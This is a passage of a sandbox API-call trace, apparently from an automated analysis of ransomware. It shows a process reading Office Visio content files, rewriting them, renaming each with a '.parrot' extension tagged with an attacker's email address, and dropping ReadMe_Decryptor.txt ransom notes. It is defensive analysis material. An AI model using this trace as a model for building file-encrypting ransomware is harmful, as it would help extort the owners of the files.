lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.882] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.882] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x30600, lpOverlapped=0x0) returned 1 [0212.892] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.896] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BCKGRN_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bckgrn_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BCKGRN_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bckgrn_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.903] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.904] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.905] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.906] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x51000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x51000, lpOverlapped=0x0) returned 1 [0212.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0212.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0212.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0212.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0212.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0212.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x3178470 [0212.910] GetLastError () returned 0x0 [0212.918] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0212.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0212.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0212.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0212.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0212.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0212.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0212.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0212.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0212.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0212.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0212.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0212.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0212.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0212.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0212.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0212.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0212.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0212.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0212.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0212.919] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0212.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0212.919] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0212.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0212.919] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0212.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0212.919] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0212.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0212.919] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0212.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0212.919] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0212.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x2298068 [0212.919] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0212.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0212.919] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0212.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0212.919] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0212.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0212.919] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0212.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0212.919] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0212.919] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0212.920] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0212.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0212.920] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0212.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31c4460 [0212.920] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0212.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31c73f8 [0212.920] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c4460 | out: hHeap=0x5b0000) returned 1 [0212.920] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31e64b8 [0212.920] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c73f8 | out: hHeap=0x5b0000) returned 1 [0212.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x31ecf98 [0212.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0212.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x31f6fc8 [0212.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ecf98 | out: hHeap=0x5b0000) returned 1 [0212.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x3206000 [0212.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f6fc8 | out: hHeap=0x5b0000) returned 1 [0212.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x3350048 [0212.928] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3206000 | out: hHeap=0x5b0000) returned 1 [0212.928] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x31e64b8 [0212.928] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0212.928] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4bf44) returned 0x3350048 [0212.929] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0212.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x71ed4) returned 0x328d008 [0212.933] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0212.934] WriteFile (in: hFile=0x284, lpBuffer=0x328d020*, nNumberOfBytesToWrite=0x51128, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x328d020*, lpNumberOfBytesWritten=0x18ebe4*=0x51128, lpOverlapped=0x0) returned 1 [0212.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x328d008 | out: hHeap=0x5b0000) returned 1 [0212.939] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x51118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0212.939] CloseHandle (hObject=0x284) returned 1 [0212.939] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0212.939] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x319c088 [0212.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0212.939] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDCOR_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldcor_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDCOR_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldcor_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0212.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0212.941] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0212.943] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173eb8 [0212.943] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0212.943] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0212.943] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0212.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0212.945] GetFileType (hFile=0x284) returned 0x1 [0212.945] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x226c068 [0213.011] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.011] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.012] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.012] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4fc00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4fc00, lpOverlapped=0x0) returned 1 [0213.016] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0213.016] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.016] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0213.016] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0213.016] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0213.016] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x3178470 [0213.016] GetLastError () returned 0x0 [0213.026] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0213.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0213.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0213.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0213.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0213.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0213.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0213.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0213.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0213.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0213.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0213.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0213.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0213.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0213.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0213.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0213.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0213.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0213.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0213.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0213.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0213.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0213.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0213.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0213.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0213.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0213.027] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0213.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0213.028] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x2298068 [0213.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0213.028] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0213.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2298068 | out: hHeap=0x5b0000) returned 1 [0213.028] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0213.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0213.028] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0213.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0213.028] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0213.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0213.028] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0213.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0213.028] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0213.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0213.029] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31c4460 [0213.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0213.029] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31c73f8 [0213.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c4460 | out: hHeap=0x5b0000) returned 1 [0213.029] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31e64b8 [0213.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c73f8 | out: hHeap=0x5b0000) returned 1 [0213.032] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x31ecf98 [0213.033] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0213.033] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x31f6fc8 [0213.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ecf98 | out: hHeap=0x5b0000) returned 1 [0213.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x3206000 [0213.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f6fc8 | out: hHeap=0x5b0000) returned 1 [0213.035] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x3350048 [0213.036] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3206000 | out: hHeap=0x5b0000) returned 1 [0213.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x31e64b8 [0213.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0213.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4bf44) returned 0x3350048 [0213.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0213.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x71ed4) returned 0x328d008 [0213.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0213.042] WriteFile (in: hFile=0x288, lpBuffer=0x328d020*, nNumberOfBytesToWrite=0x4fd28, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x328d020*, lpNumberOfBytesWritten=0x18ebe4*=0x4fd28, lpOverlapped=0x0) returned 1 [0213.047] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x328d008 | out: hHeap=0x5b0000) returned 1 [0213.047] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4fd18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0213.047] CloseHandle (hObject=0x288) returned 1 [0213.048] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0213.048] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x319c088 [0213.048] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0213.048] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDCOR_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldcor_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDCOR_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldcor_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0213.049] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0213.049] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0213.049] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0213.051] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173eb8 [0213.051] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0213.051] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0213.051] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0213.053] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0213.053] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0213.055] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.055] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72a6d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x72a6d, lpOverlapped=0x0) returned 1 [0213.061] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0213.061] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.061] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0213.061] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0213.061] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0213.062] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x3178470 [0213.062] GetLastError () returned 0x0 [0213.073] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0213.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0213.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0213.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0213.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0213.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0213.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0213.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0213.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0213.073] RtlAllocateHeap 